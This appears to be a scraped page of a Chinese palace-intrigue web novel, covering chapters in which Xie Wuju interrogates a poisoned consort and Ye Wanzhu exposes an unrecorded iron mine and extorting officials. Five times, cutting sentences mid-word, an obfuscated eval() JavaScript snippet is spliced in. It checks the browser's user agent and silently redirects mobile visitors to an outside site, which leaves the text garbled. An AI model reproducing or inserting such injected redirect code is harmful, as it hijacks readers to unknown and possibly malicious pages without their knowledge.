自上次见面,圣上的情况已经变得越来越差,方才那圣旨上的字迹已经虚弱无力到了极点。 想到这儿,谢无咎的表情变得越发难看。 “主子,里面已经准备好了。” 等他大步走进慎刑司,先一步赶来的隐月正站在刑房门前,束着双手低声道。 “怎么样?”谢无咎收拢了思绪,眼神也又变得清明起来。 隐月欲言又止,还没开口说些什么,一声长长的嚎叫便从刑房里传了出来。 这声音凄厉高亢,听上去简直不像是人能发出来的。 慎刑司里这会儿也全都换成了东厂的人,听着这样的动静,都是一副**以为常的模样。 停顿片刻,谢无咎自己推开刑房的铁门走了进去。 这间刑房与别处不同,里里外外都被结实的铁棍包围,最外面封着一层铁皮,看上去简直让人感到无法呼吸。 只有高高的房顶上开了几个小口,细看去也有被铁丝封死的痕迹。 屋中只有一个人,正蜷缩在墙角,听到开门的声音抬起头往这边看来。 “柔妃娘娘,您感觉怎么样?” 谢无咎往前走了几步,卡着距离停在柔妃够不着自己的地方,面上不知何时又挂起了微笑。 倘若这个时候有任何一个认识柔妃的人在场,在谢无咎出声之前,恐怕都认不出眼前的人是谁。 往日的美貌已经完全消失不见,柔妃娘娘此时的模样,比被关在蕙心宫的时候更要令人陌生百倍。 她瘦得惊人,好像只剩下皮包骨,一双眼睛无神地来回逡巡扫视,好像看不见谢无咎在什么地方似的。 谢无咎却在看着她,目光十分认真。 柔妃娘娘的双手双脚都被手腕粗的铁链牢牢锁着,只有墙角那么一块地方能活动,她还是把自己弄得浑身是伤。 这其中,大部分都是牙印。 “娘娘,咬了圣上一口,让您食髓知味了不成?”谢无咎淡淡笑着,眼底冷意毕现。 这一切的开端,都要追溯到那天。 那天,因为萧子景向昭德帝告状,昭德帝先到东厂和谢无咎说了话,回程不知怎么想到了被关禁闭许久的柔妃。 他在蕙心宫抓到了耍弄妖术的柔妃,可柔妃显然是已经走火入魔了,一见到昭德帝就对他又抓又挠。 昭德帝挡了几下,还是被狠狠一口咬在了手臂上。 这等疯魔举动自然让他勃然大怒,当下便把柔妃和蕙心宫里的一干宫人全都抓去审问,得到柔妃想用妖术让帝王回心转意,昭德帝更是怒不可遏。 一切查明,他正要下旨惩处柔妃等人,事情却开始不对劲了。 昭德帝被咬到的地方,伤口迟迟不能愈合,而他也开始晕眩,恶心,水米不进。 太医来看也束手无策,三天过去,昭德帝把自己关在屋中,嚎叫撞墙,几乎没有停歇的时候。 抓住几个为数不多清醒的瞬间,昭德帝把谢无咎喊进了宫中。 谢无咎不知道费了多少功夫才弄清楚问题的来由。 柔妃那并不是走火入魔,而是毒入骨髓,她咬在昭德帝身上的那一口,将毒素传染了过去。 御林军查封蕙心宫的时候,曾经在里面找到了一小箱药粉,就是柔妃在熏蒸和服用的东西。 谢无咎将这些药粉拿去给昭德帝服用,虽然让圣上的情况稳定下来,但看昭德帝现在的状况,无疑是饮鸩止渴。 而这点鸩酒,现在也要用完了。 “娘娘,我知道你能听见,”谢无咎看着趴伏在地上,一动不动的柔妃,“这奇怪的药粉,你是从什么地方弄来的?” 没了这药粉,昭德帝会是什么下场,谢无咎不敢想。 柔妃静静地趴在地上,方才刚捱过一次折磨,她这会儿浑身无力,连眼睛都睁不开。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695835|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我,我不知道……” 近乎呓语着,柔妃抽了抽鼻子。 “我知道的都告诉你们了,我只想让圣上回心转意,没想害他!”她忍不住抬高了几分声音,“我也不知道这东西是,是这样的!” 日日使用这些药粉的时候柔妃还没有感觉,等东窗事发,她被投进慎刑司,断了药粉,柔妃才知道那滋味有多难受! 仿佛浑身上下都布满了看不见的刮骨刀,一下又一下地剜着皮肉,可偏偏还不能昏死过去,一定要清醒着感受这种折磨! “我真的不知道这是什么……求求你,把药还给我吧!” 日日被锁在牢房里承受这样的折磨,柔妃别无他想,只想远离痛苦。 她挣扎着看向谢无咎。 谢无咎蹲下身,和柔妃抬起的目光平齐。 “那你先告诉我,这些药粉是怎么运到蕙心宫里去的?” 柔妃手下都是些不会功夫的下人,有御林军守门,她们怎么能做手脚? 柔妃的眼神又开始变得涣散,这是毒性要发作的前兆。 因为没有那药粉,柔妃这些天来发作的间隙已经变得越来越短,神智清醒的时候也所剩无几。 “你告诉我,我就给你药粉。”谢无咎的语气里也出现了迫切,“快说。” “郭,郭嬷嬷——啊!” 拼尽全力说出三个字,还没等谢无咎追问,柔妃毫无征兆地尖叫起来! 她狂乱地挥舞着双手,方才还沉沉拖着她难以移动的锁链,这个时候却好像是纸糊的一样。 柔妃的双眼也失去了最后一点亮光,黑压压地盯着谢无咎,下一刻毫无征兆地扑了上来。 谢无咎动作更快,抬脚将柔妃踢飞出去,重重地摔在墙上! 铁棍组成的墙面发出一声惊天动地的闷响,柔妃却好像感觉不到疼痛一般,摔在地上又重新爬了起来。 “给我药!给我药!” 她尖叫着又朝谢无咎冲去,谢无咎闪身来到刑房之外,砰地一声把门关上。 “郭嬷嬷?” 第一百六十章 全部接受检查! 这个名字有点耳熟。 谢无咎单手撑着刑房的门思考起来。 “主,主子,小的把门锁上吧……”一个东厂的侍卫这时候哆哆嗦嗦地走上前来。 这段时间柔妃的疯狂模样,他们已经深有体会。 绝对不能给她半点被放出来的机会啊! 谢无咎闻言回过神,刑房里的惨叫还在继续,一声比一声高亢。 他松开手朝外走了几步,这才想起郭嬷嬷是谁。 那个被叶晚竹挑断了手筋,只能被迫离开皇宫的,最会狐假虎威的嬷嬷。 不过是萧家当初随便买来用的下人,居然有办法能弄到这种骇人听闻的药粉? 谢无咎觉得自己也算是见多识广,可在这件事之前,他却从未听说过还有这样的东西。 “屋里那些你都听到了,”谢无咎看向隐月,“去查,查得清清楚楚,说不定,这里面又有咱们的老朋友,在搅合个不停呢。” 郭嬷嬷是萧家曾经的下人,柔妃更本来就是萧家人。 萧家,又是萧家。 隐月领命而去,隐翼又小跑着走上前来。 “主子,有人从安王府悄悄离开,又到景平王府去了!” —— 谢无咎舌战群臣,孟希越自讨苦吃,朝中大臣十有**被禁足,这等等一系列的事情都被藏得好好的,除了当事人几乎无人知晓。 京城都是如此,远在水上漂流的叶晚竹便更是一无所知。 五天前,把虎子和春桃送上了去往江南的马车,叶晚竹便带着隐风和隐川坐上了继续南下的船。 三人又重新乔装打扮了一番,叶晚竹如今扮做离乡多年的老妇,要把遇到土匪,被大刀砍成碎块,只能烧成骨灰随身带着的夫君送回南郡,入土为安。 叶晚竹承认她就是有泄愤的意思。 除此之外,她怀抱一个骨灰瓶,再跟着两个伤心过度,面无表情的子侄,一路上将遇到麻烦的可能性降到了最低。 这个身份也不容易被人发觉,一连五天过去,还是一切平安。 船身摇摇晃晃,叶晚竹透过舷窗看着外面的风景,已经和京城一带大不相同。 走水路南下的速度很快,再有一两天的功夫,她们就能抵达南郡了。 就在这时,船身猛地摇晃了一下,接着开始减速。 城镇街道出现在河道两旁,她们又到了一个码头。 屋外传来脚步声,叶晚竹却坐着没动。 这艘船容量不小,每到一站都有人上上下下,几天下来她已经习惯了。 可这次却有点不一样。 “都出来!所有人下船,接受检查!” 粗哑的声音在甲板上不断回荡着,船舱的房门挨个被敲响,有人正逐一开门清点。 “我们去南郡,不在这里下船。” “我姑母年纪大了,你们要做什么,在这里说不行吗?” 隐风隐川的声音很快从旁边屋中传来,叶晚竹也佯装腿脚不便,这才晃晃悠悠地打开房门。 “这是要干什么?”她呼哧带喘地发问,随即瞳孔一缩。 在甲板上来回走动的人都穿着官差的衣裳。 “老人家走不动,你们当小辈的就背着她!快点快点!所有人都要下船!” 那官差并没有理会叶晚竹的意思,依旧在和隐风隐川说话,神情极其不耐烦。 叶晚竹见状给二人使了个眼色,让他们搀扶着自己,不紧不慢地往陆地上而去。 码头上这会儿已经被从船上下来的游人们挤得水泄不通,最外缘绕着一圈官差,一脸严肃地看着他们。 “这是怎么了?好端端的,为什么要我们都下船?” 混进人群之中,叶晚竹左右看看,选了个年长些的妇人,凑到她身边小声问着。 那妇人一手拉着一个七八岁大的孩子,另一手挽着包袱,热得满头大汗,闻言顿时好像找到了知己。 “可不是吗?一句话都不说就要把人都赶下船来,一会儿还要搜身呢!” 搜身? 叶晚竹顺着她指点的方向看过去,果然看见码头尽头人为地留出了一个小口,人群排成一线长队,正在挨个接受搜查。 “我们又不在这里下船,查我们干什么?” “就是啊,只是路过都查得这么严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15695836|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吗?” “……” 不解的声音越来越多,人群挤挤挨挨,不满的情绪也越来越大。 官差们横眉冷目地斥责着,很快将这些声音暂时压了下去。 叶晚竹并未参与其中,和隐川站在一旁默默地等待着。 队伍又往前走了十几号人之后,隐风悄无声息地回到两人身边。 “查到了,”他将声音压得极低,“应该没有危险。” 闻言叶晚竹便放下心来。 码头上不是说话的地方,三人没深入讨论,倒是配合着并入队列,很快就完成了搜身。 叶晚竹看着这些官差们的动作,倒也并不像是真要从她们身上搜刮出什么油水,反倒是更像在检查。 通过搜身的人就可以被放行了,叶晚竹三人刚一回到船上,隐风便开了口。 “我刚才在镇上问了好几个人,都说这是官府在查有没有人私藏矿石呢。” “矿石?” 叶晚竹挑了挑眉。 大梁各地都分布着矿产,所有矿产都由朝廷掌管,不许私下开采买卖。 官府要严查与矿产有关的事项,叶晚竹倒是不意外,可眼下他们所在的地方,是个寂寂无名的小镇,离此地最近的一座铁矿也在几百里开外。 他们查得这么严做什么? 隐风的表情却变得有些严肃。 “这里的百姓告诉我,有座铁矿就在他们镇子背后的山中,采矿人手不足的时候,还会雇他们去干活。” “什么?” 就连隐川都忍不住瞪大了双眼。 “这儿有座铁矿?” “而且规模应该还不小。”隐风越发沉着一张脸。 叶晚竹皱着眉头,忽然感到有些不妙。 大梁境内的所有矿山坑洞,只要是被发现的都会记载在案,她虽然没来过南郡附近,但也清楚地知道,这附近并没有被记录过的铁矿。 难道是有人私下开采? 可当地官府的配合,百姓的**以为常,又是怎么回事? 叶晚竹的心忽然跳了两下。 “收拾东西,咱们下船!” 第一百六十一章 铁矿与偷矿贼 好端端的,这里怎么会出现一个如此庞大的铁矿,京城却不知道? 本地人却十分**以为常,甚至官府都在正常地维护着附近的情况。 直觉告诉叶晚竹,这件事肯定不对劲。 她的商队失踪,会不会也和这件事情有关? 叶晚竹一锤定音,三人很快便收拾好东西下了船,换掉身上的伪装,不引起任何人注意地溜进了城中。 这座镇子叫闵镇,地方不算太大,住在城中的百姓也不是很多,因着靠近大河的码头,城里倒是有不少游商行人,操着各地的口音来来往往。 这也让叶晚竹三人变得更加不显眼起来。 在镇上转了一圈,找了家最热闹的客栈下榻,放下行李,叶晚竹便来到前院大堂,找人继续打听消息。 “矿山?您问这个干什么?” 一听叶晚竹要打听的内容,客栈小二便露出了有些警觉的表情。 叶晚竹立刻转了转眼珠子。 “我们是刚刚从船上下来的,你们镇里的官兵好生粗鲁,把我的东西翻得乱七八糟,态度还差得很,我听人说是和什么矿山有关,当然要问问了!” 她挑着眉头,语气不满,小二连忙赔笑起来。 “您消消气,消消气!”他点头哈腰着,“这倒确实是没办法的事儿,谁让咱们这儿离矿山真的很近呢!” “很近又怎么样?我也不是没有去过其他地方,哪里也没有这么野蛮的!” 换回日常的装扮,叶晚竹将娇纵扮演到底,连连冷笑着。 小二只能接着赔笑。 “您是外来的,自然不知道,前些日子,我们这儿出了件事,官府才这样做的!” “什么事儿?” 斜晲了小二一眼,叶晚竹却感到自己的一颗心怦怦地跳了起来。 小二又哂笑了几声,下意识地压低了声音。 “约莫一个月前,有人偷偷混进矿区,偷走了整整一车铁矿石!” 这回不用怎么伪装,叶晚竹便瞪大了眼睛。 “然后呢?” “然后衙门肯定是吓**!”小二表情夸张,“那几天,全城都封得死死的,官差挨家挨户地搜查,连小的家里的夜壶都得拿走看看!” 一车铁矿石毕竟数量不少,若是真被人偷走,负责矿区的人从上到下恐怕都讨不了好。 “那这些贼找到了没有?”隐风在一旁忍不住开口追问。 “找是找到了,”小二也是一脸的心有余悸,“可那些人是怎么混进矿山的,官府却如何都查不出来!” “从那时候开始,镇子就被官差完全接手了,从早到晚都有官兵巡逻,矿区那边更是闲人免进,路过的行人和车马也要接受严格的检查。” 小二无奈的目光落在叶晚竹三人身上。 “不过,您几位也不用太过担心,只要没在你们身上发现矿石,官差不会对你们怎么样的。” “那要是发现了有人带着矿石呢?” 叶晚竹忍不住接着追问起来。 这简直就是无稽之谈! 小二看着叶晚竹的眼神先是一变,随后又很快想起了什么,结结实实地打了个哆嗦。 “那,官差就要来抓人了!听说官府一直在怀疑,那些贼能混进矿区,就是因为镇里有同伙在支应他们呢!” 小二在客栈见的人多,还真让他看见过一次官差抓人。 那些官差不知道从什么地方一拥而上,二话不说就把一个商人模样的行人按倒在地,五花大绑,随即便从他随身的行李中找到了一小袋铁矿石。 “几位客人,你们要是害怕,那就早点启程,继续赶路吧!” 这是小二留给他们的最后一句话,说完就起身去招呼刚进店的客人了。 三人面面相觑,而后沉默着回到了后院的客房之中。 “这太荒谬了!” 房门一关,隐川忍不住低声道,“京城对这里发生的事情竟然丝毫不知!” 就算是铁矿石最后被成功追了回去,这么大的一件事情,闵镇,还有闵镇所属的城市竟然都敢对京中隐瞒不报! 他们甚至还用武力控制了整座镇子! 隐风的表情也黑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699354|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉沉的。 “这哪里是保护,分明就是,就是……” “就是割据。”叶晚竹替他补上了不曾出口的话。 她抬手轻敲着桌面,语气越发森冷。 “这闵镇的官府权利也太大了些,简直是膨胀得无法无天,可仅仅只是仗着天高皇帝远,这里的地方官员真敢做出这样的事情?” 做过的事情是不会了无痕迹的,京中每年都会派下巡查大员,别的人情世故都能不说,这么大的一座铁矿,怎么可能瞒得住? 除非是哪个官员不想活了,想掉脑袋,才会公然对抗朝廷和昭德帝。 可要是朝廷之外的人在狐假虎威…… 叶晚竹手指敲击桌面的动作变得越来越慢。 谁有这样的胆子,又为什么要这么做? 隐风和隐川也互相对视一眼,神情十分严肃。 “要不要写信给主子?”隐风试着发问。 这样的事情,京中应该知晓。 思忖片刻,叶晚竹还是摇了摇头。 “先不要,免得打草惊蛇,况且,京城那边现在是什么情况我们也不清楚。” 闵镇已经到了南郡境内,这里发生的一切都会让叶晚竹联想到安王世子的身上。 无论是孟希越的所作所为,还是谢无咎对他的怀疑,都显示着此人一定在谋划什么。 若这边的情况真的和他有关,此时往京城送信,便更不是一个好的选择了。 又思索片刻,叶晚竹将桌子一拍。 “这样,不要惊动京城,我们先自己查查再说。” 如果能抓住和孟希越有关的线索,京城那边的局面定能有所好转。 “隐风,等今晚天黑之后,你——” 正打算让隐风先去镇上的衙门探探情况,叶晚竹话还没说完,忽然便见隐风抬手放在唇边比了比。 叶晚竹立刻噤声,与此同时,隐风和隐川一左一右,形如鬼魅地靠到了门边。 下一刻,凌乱的脚步声快速传来,房门毫无征兆地被人从外面一脚踢开! “不许动!” 第一百六十二章 拿钱消灾 紧张的吼声从四面八方响起,叶晚竹环顾四周,发现所有窗户外都倒映着黑色的影子。 房门被大力破开,几个官差也一股脑地涌了进来,拔刀将叶晚竹堵在了桌边! “你们要干什么?” 飞快地给了隐风隐川一个稍安勿躁的眼神,叶晚竹抬起下巴,语气如方才一般桀骜。 “好端端的为什么闯进我的屋子?我犯了什么错?” 进到屋中的那几个官差之一闻言,上下打量了叶晚竹一番,露出警惕的表情。 “你打听矿山的事情干什么?是不是有什么不可告人的想法?” 叶晚竹神情一凛,“你怎么知道的?” 那官差伸手从身后一捞,愣是把刚才和叶晚竹说过话的那个小二抓了出来。 小二低着头,语气是苦涩的,里面却掺着说不出的窃喜和得意。 “客官,真不是小的出卖您,官爷们一条消息给小的二十文钱,小的也要生活嘛……” “所以你就故意遮遮掩掩地放消息,引得不知情的过路人好奇追问,再顺理成章地污蔑我们?” 叶晚竹冷笑着抱起了一双胳膊。 “这黑心钱,你拿得快乐吗?” 那小二的脸扭曲了一下,又很快赔笑起来。 “您几位要是管住好奇心,不就也不会把这个麻烦惹上身了吗?说到底,您这是愿者上钩!” “敢情这还要怨我?”叶晚竹扬起一条眉毛,被这个小二的无耻气笑了,“要不是你随处犯贱,也吸引不到我们这种想看猴戏的人,咱们彼此彼此。” “你骂谁贱呢?” 小二顿时挂不住面子了,一张脸涨得通红,咬牙切齿地瞪着叶晚竹。 叶晚竹却笑了起来,“你看这屋里屋外的,谁急了?谁急我骂的就是谁。” “……几位官爷!” 小二呼哧呼哧地喘了几口粗气方才勉强平静下来,扭头朝着官差们伸手一指,“就是这个女子,方才一直在跟小的打听有关矿区和那些偷矿贼的各种情况!一看就是居心不良!” 骂不过就告状? 叶晚竹面上的笑容越发不屑,“没出息的东西,怪不得要靠这种下三滥的手段才能活!” “住嘴。” 那官差终于发了声,凉凉地止住叶晚竹的讥讽。 他斜着眼,上下打量着叶晚竹,目光又扫过被从门边带过来的隐风和隐川。 停顿片刻,官差收回目光,一本正经地背起了双手。 “你是什么人?跑到闵镇来干什么,又为何要打听那些事情啊?” 他语气轻慢,叶晚竹神情冷淡,将提前准备好的说辞放了出来。 出京时,谢无咎替她们一行都安排了假身份,文牒也一应俱全。 “南下替祖父扫墓?” 那官差心不在焉地翻看着三人的文书,瞧不出什么有问题的地方,只好无趣地随手抛了回去。 见叶晚竹伸手接住,他眼神一暗,忽然露出一个不怀好意的笑容。 “你一个女人家,怎么独自远行啊?” “夫君暴毙了。”叶晚竹一边将文牒放回怀中,一边随口胡扯。 这理由显然太站不住脚,官差不由得一哽,却又立刻挑了挑眉。 “啊,所以才带上了两个年轻力壮的侍卫,是不是?” 这话暧昧不清,再配上官差那副略显险恶的表情,让叶晚竹的动作顿了顿。 “我不明白,你能说得再清楚点吗?”她抬头看着那官差。 官差面上的笑容开始扩大,带着即将要抑制不住的情绪。 兴奋和恶毒混合在一起,让那张原本还算五官周正的脸一下子就变得丑陋无比。 “长夜漫漫,一个人难捱得很,理解,理解。” 朝着叶晚竹挑了挑眉,这官差的话音还没落下,四周便响起了几声心照不宣的淫笑。 更多的目光开始朝叶晚竹身上扫视而来。 “这和你们前来的理由有关系吗?”叶晚竹的语气仍是冷淡,似乎和方才没什么差别。 双双黑了脸,准备动手的隐风和隐川却接受到了她制止的眼神。 两人同时停下了动作。 “当然有关系。” 似乎是没想到叶晚竹的神情连一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699355|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丝波动也无,那官差愣了愣,才重新露出了那让人厌恶的嘴脸。 “你夫君新丧,南下又是为了替祖父扫墓,如此严肃的两件事情之下,你竟然还能带着两个侍卫厮混,还打听不该知道的内容,可见你此人品行十分不端!按照律法,抓起来沉塘也足够了!” “不过你不是闵镇的人,我们也不想给自己沾一身麻烦,只要你交够罚金,管好嘴巴,这件事儿,就这么算了吧!” 他极其大度地挥了挥手。 叶晚竹的冷笑声几乎快要压抑不住,“多少叫足够?” 难怪这小二设套如此纯熟。 原来是上行下效,一丘之貉! 官差又开始上下扫视着叶晚竹,摆明了是在盘算,她身上能带着多少钱。 “二百两银子!”他最后报出一个数,“交了钱,你明天立刻离开,我敢保证没人会找你的麻烦!” “哦——” 叶晚竹拖腔拖调地拉长了音节,又斜晲过去,“只要二百两?成交!” 那官差面上立刻闪过一丝懊恼! “不,等一下!”他又一本正经地制住叶晚竹要摸银票的动作,“是,是一人二百两!” “你这是趁火**,你的长官知道你在外面这么敛财吗?”隐川实在是忍不住了。 这是从哪儿挑来的蠢货! 又蠢又毒! 对上隐川这一身侍卫衣裳,刚刚还被叶晚竹证明了关系不一般,那官差的语气就放肆得多了。 “不该管的事情别管,否则,小心把你们都抓到大牢里去!” 没好气地又瞪了隐川一眼,这官差回过头再次加码,“你的这个相好嘴巴太松,他要再多交一百,不,二百两!” 三个人,八百两银子。 就算是昭德帝都没这么责罚过朝中的大人们。 叶晚竹在包袱里摸索的手停住了。 “你可没这么值钱。”她喃喃自语着。 “你说什么?”那官差并没有听清,下意识地凑上前来。 叶晚竹干脆利落地从包袱中抽出自己的折扇,反手重重地摔在那官差脸上! 第一百六十三章 我是钦差! “我说,八百两银子,你也配?” 一直忍到最后,叶晚竹就是想听听这官差到底能贪到什么程度。 现在看来,是无底洞! “说说,这样的事儿你干过多少回,又搜刮了多少民脂民膏?” “一个小小的地方官差,张口就敢要八百两,你是从来没见过钱,还是已经贪得脑满肠肥,连数都不识了?我看是两者皆有,人心没尽吧?” “来,让我瞧瞧,你这一肚子的坏水,是不是都是黑的?” 一声声质问着,叶晚竹手上的动作也没停下,扇子抽在这官差脸上砰砰作响。 那官差挨了前几下还在痛呼,渐渐地却眼前发黑,耳鸣不止,连自己是死是活都不知道了。 直到上半身一凉,衣服被撕开丢到一旁他才重新清醒过来! “你要干——啊!” 这个女人要干什么! 她是疯子吧! 还没等官差吼出什么所以然,叶晚竹屈膝狠狠顶在他腹部,他控制不住地干呕一声,弯腰捂着肚子吐出满口酸水! “你,你敢打宁捕头!” “放肆!” 围在门外的官差们被叶晚竹方才的举动吓到,直到这会儿才缓过神来,大吼着要扑上来将她制服。 隐风冷笑一声,随手拆下门板,一把就将七八个官差扫了出去! “我就放肆,怎么样?” 拎着这位宁捕头的耳朵大步朝外走了两步,叶晚竹扬手把人扔在廊下,一脚踩在他光裸的胸膛上! 看着她这副毫不费力的样子,不少官差都下意识地往后退了两步。 他们能单手拎起宁捕头吗? 不好说! 叶晚竹双手背后,在这些人看不到的地方微微攥了几下。 她的身体已经调养得好了大半,如今越发能感到体内内力的涌流。 等解决完这边的事情,回到京中,想来她很快就能彻底恢复健康。 将杂念扫开,叶晚竹很快垂下目光看向频频挣扎着的宁捕头。 这次换她用那种审视的眼神在这位身上扫来扫去了。 “比只鸡好不到哪儿去。” 看着宁捕头那一身白肉,叶晚竹平静地落下点评。 宁捕头的脸和脖子立刻开始变红,是被气的。 “你好大的胆子,敢袭击官差!”他嘶声叫嚷,“快来人!你们立刻赶回衙门,请县太爷带人来抓捕这个凶犯!” 靠近外面的官差们闻言转头就跑,没想到,眼见着要跑出大门,两扇门板却没有半点征兆,咣当一声就合上了! “诶呦!” 猝不及防,又根本来不及停下脚步,几个官差争先恐后地绊倒在台阶前,七嘴八舌地喊着疼。 隐川轻飘飘地从院外越了进来,落地的时候,连一点儿声音都没有发出。 他一脚一个,将那几个官差全都踹晕了过去。 “你,你们……” 宁捕头目眦欲裂地看着眼前的景象。 为了抓人,他们早就遣散了这院子里其他的客人,可怎么也没想到,这么多官差,竟然会被三个旅人关门打狗! 不过,话又说回来,他们真的是人吗…… 这女人如此力大无穷,两个侍卫也神勇无敌,难道是鬼? 宁捕头的身子忽然剧烈地哆嗦起来,首次感到光裸着的皮肤上泛起了阵阵寒意。 “我们怎么了?” 叶晚竹再次垂下目光。 “我们不肯被你**,你很意外吗?” 宁捕头瞪着叶晚竹,忽然又不害怕了。 没有哪个女鬼会为了银子就跟人拼命的吧? 鬼要人间的银子又没用! “你,你放开我!”他扯着嗓子大喊,胆子也壮了,“否则,否则——” 叶晚竹一脚踩在他嘴上,终于让这位宁捕头安静了下来。 “你真是衙门的捕头?”叶晚竹的语气带着十分的怀疑。 这种货色能当捕头? 宁捕头挣扎着把脑袋伸出来,“如假包换!” “那也就是说,封锁矿区,还有加强镇中巡逻的这些事情,都是闵镇的衙门做主办的咯?”叶晚竹继续发问。 宁捕头挣扎了半天还是逃不脱,有些泄气地瘫软在地,看着上方的叶晚竹翻了个白眼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15699356|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你要知道这么多干什么?你问了我也不会说的。” “因为我是京城派来,南下巡抚的钦差啊。” “你是——” 万万没想到会听见这么一句话,宁捕头猛地倒吸一口冷气! 他足足瞪了叶晚竹四五息的功夫,才反应过来,又破口大骂。 “放**屁!朝廷派一个女人来当钦差?” 京城没人了? 叶晚竹摊了摊手,“你这样畜生投胎的都能混个捕头当,我怎么就不能是钦差?再说了,你们闵镇私下在做的都是些什么事,难道你以为京城真的什么都不知道吗?” “本官不微服出巡,怎么能知道城中的真实情况?还真是让**开眼界啊!” 她端起架子,看得宁捕头越发茫然。 “你,你是男是女啊?”他费了半天力气,就吐出这么一个问题。 “你猜?”叶晚竹的笑声越发讥讽,“或者说,你仔细看看?” 宁捕头眼神犹疑,心虚万分,却还是不肯相信。 “你是什么官?京中怎么会允许女人当官的?” “或许是因为京城里没有敢要八百两脏银的捕头?”叶晚竹摸了摸下巴,故作疑惑。 宁捕头的表情又变得难看了起来。 “行了,我如果不是钦差,怎么敢对你们这帮人下手?” 不想再和这脑袋空空的蠢人说话,叶晚竹继续胡扯着,松开踩着宁捕头的脚,转而踢在他的屁股上。 “滚起来,带本官去你们的县衙瞧瞧,我要好好问问你们的县太爷,他究竟是怎么当差的!” 说着话,叶晚竹又朝隐风和隐川使了个眼色。 事已至此,不如,就直接打上门去吧! “……你说什么?” 一炷香后,县衙内堂之中,听着随从的通报,县太爷一骨碌从床上翻了起来。 “钦,钦差?” “是啊老爷,这下怎么办?”随从苦着脸。 县太爷显然还没有完全睡醒,脑子还不灵光,“这儿怎么会有钦差?从哪儿来的?” “从宁捕头的爪牙下而来的。” 第一百六十四章 这就送你们上路! 冷冷的声音从屋外传来,这位县令大人先是浑身一哆嗦,紧接着却又皱起了眉头。 这声音…… 转过身子,他错愕地看着一行三**摇大摆地撞开试图拦路的随从小厮们走了进来。 “你们是什么人?”他眯着眼看去。 “钦差啊。” 一把将还光着上半身的宁捕头丢在地上,屋中响起了几声倒抽冷气的动静,叶晚竹却只静静地看着面前的县令。 “黄县令,你这捕头和镇中小二相互勾结,设套敲诈路过旅人,这件事,你是知道还是不知道?” 她一语落下,黄县令的表情又变了变。 “这,这……” 他咕噜噜地转着一双眼珠子,想说什么又忽然顿住。 “不对,你到底是什么人?” 差点儿就被眼前这女人的气势唬住,黄县令为自己辩解的话都到了嘴边才猛地醒悟过来。 她刚刚说她是钦差? 这是拿他当傻子糊弄吗! 黄县令愤怒异常地抬起头,随即又听见叶晚竹把这话说了一遍。 “假冒钦差,本官看你是活到头了!”他冷冷地讥笑一声,“来人,把这三个胆大包天的狂徒给本官拿下!” 话音落下半晌,院中却还是静悄悄的。 “黄大人还是别白费力气了。” 叶晚竹侧了侧身子,露出院中躺倒一地的官差和下人。 方才一路走来,能动手的都已经被隐风隐川放倒在地了。 “大人最好还是老老实实地回答我的问题,否则,本钦差只能把你押运回京,到圣上面前去说话了。”她又挑了挑眉,刻意地道。 黄县令的脸色难看得要命。 “你知不知道自己在说什么?”他蹙眉看着叶晚竹,“你是在跟本官说,圣上派了一个女人来当钦差?这怎么可能!” “我是九千岁的手下,东厂的副都督,”叶晚竹脸不红心不跳地又给自己编了个身份,“朝中公务繁忙,我才被派来跑这一趟,你以为你这儿是什么好地方不成?” 